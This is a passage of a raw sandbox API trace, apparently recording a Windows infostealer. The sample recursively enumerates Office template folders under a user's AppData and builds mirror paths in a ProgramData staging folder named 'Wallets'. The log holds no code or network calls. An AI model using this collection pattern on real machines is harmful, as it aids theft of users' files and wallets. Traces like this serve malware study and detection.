lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes" [0052.348] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\" [0052.348] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\", lpString2="1033" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033" [0052.348] lstrcmpW (lpString1="1033", lpString2=".") returned 1 [0052.348] lstrcmpW (lpString1="1033", lpString2="..") returned 1 [0052.349] lstrcpyW (in: lpString1=0x19b29c, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033" [0052.349] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033\\*.*" [0052.349] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033\\*.*", lpFindFileData=0x19afdc | out: lpFindFileData=0x19afdc) returned 0x58a3c0 [0052.349] lstrcpyW (in: lpString1=0x19b6b4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033" [0052.349] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033\\" [0052.349] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033\\", lpString2="." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033\\.") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033\\." [0052.349] lstrcpyW (in: lpString1=0x19b4a8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033" [0052.349] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033\\" [0052.349] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033\\." [0052.349] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.349] FindNextFileW (in: hFindFile=0x58a3c0, lpFindFileData=0x19afdc | out: lpFindFileData=0x19afdc) returned 1 [0052.349] lstrcpyW (in: lpString1=0x19b6b4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033" [0052.349] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033\\" [0052.349] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033\\", lpString2=".." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033\\..") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033\\.." [0052.349] lstrcpyW (in: lpString1=0x19b4a8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033" [0052.349] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033\\" [0052.349] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033\\.." [0052.349] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.349] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.349] FindNextFileW (in: hFindFile=0x58a3c0, lpFindFileData=0x19afdc | out: lpFindFileData=0x19afdc) returned 0 [0052.349] FindClose (in: hFindFile=0x58a3c0 | out: hFindFile=0x58a3c0) returned 1 [0052.349] FindNextFileW (in: hFindFile=0x58a4c0, lpFindFileData=0x19b920 | out: lpFindFileData=0x19b920) returned 0 [0052.349] FindClose (in: hFindFile=0x58a4c0 | out: hFindFile=0x58a4c0) returned 1 [0052.350] FindNextFileW (in: hFindFile=0x58a180, lpFindFileData=0x19c264 | out: lpFindFileData=0x19c264) returned 1 [0052.350] lstrcpyW (in: lpString1=0x19c93c, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User" [0052.350] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\" [0052.350] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\", lpString2="SmartArt Graphics" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics" [0052.350] lstrcpyW (in: lpString1=0x19c730, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User" [0052.350] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User\\" [0052.350] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User\\", lpString2="SmartArt Graphics" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics" [0052.350] lstrcmpW (lpString1="SmartArt Graphics", lpString2=".") returned 1 [0052.350] lstrcmpW (lpString1="SmartArt Graphics", lpString2="..") returned 1 [0052.350] lstrcpyW (in: lpString1=0x19bbe0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics" [0052.350] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\*.*" [0052.350] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\*.*", lpFindFileData=0x19b920 | out: lpFindFileData=0x19b920) returned 0x589f40 [0052.351] lstrcpyW (in: lpString1=0x19bff8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics" [0052.351] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\" [0052.351] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\", lpString2="." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\.") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\." [0052.351] lstrcpyW (in: lpString1=0x19bdec, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics" [0052.351] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\" [0052.351] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\." [0052.351] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.351] FindNextFileW (in: hFindFile=0x589f40, lpFindFileData=0x19b920 | out: lpFindFileData=0x19b920) returned 1 [0052.351] lstrcpyW (in: lpString1=0x19bff8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics" [0052.351] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\" [0052.351] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\", lpString2=".." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\..") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\.." [0052.351] lstrcpyW (in: lpString1=0x19bdec, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics" [0052.351] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\" [0052.351] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\.." [0052.352] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.352] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.352] FindNextFileW (in: hFindFile=0x589f40, lpFindFileData=0x19b920 | out: lpFindFileData=0x19b920) returned 1 [0052.352] lstrcpyW (in: lpString1=0x19bff8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics" [0052.352] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\" [0052.352] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\", lpString2="1033" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033" [0052.352] lstrcpyW (in: lpString1=0x19bdec, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics" [0052.352] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\" [0052.352] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\", lpString2="1033" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033" [0052.352] lstrcmpW (lpString1="1033", lpString2=".") returned 1 [0052.352] lstrcmpW (lpString1="1033", lpString2="..") returned 1 [0052.352] lstrcpyW (in: lpString1=0x19b29c, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033" [0052.352] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033\\*.*" [0052.352] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033\\*.*", lpFindFileData=0x19afdc | out: lpFindFileData=0x19afdc) returned 0x58a300 [0052.362] lstrcpyW (in: lpString1=0x19b6b4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033" [0052.362] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033\\" [0052.362] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033\\", lpString2="." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033\\.") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033\\." [0052.362] lstrcpyW (in: lpString1=0x19b4a8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033" [0052.362] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033\\" [0052.362] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033\\." [0052.362] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.362] FindNextFileW (in: hFindFile=0x58a300, lpFindFileData=0x19afdc | out: lpFindFileData=0x19afdc) returned 1 [0052.363] lstrcpyW (in: lpString1=0x19b6b4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033" [0052.363] 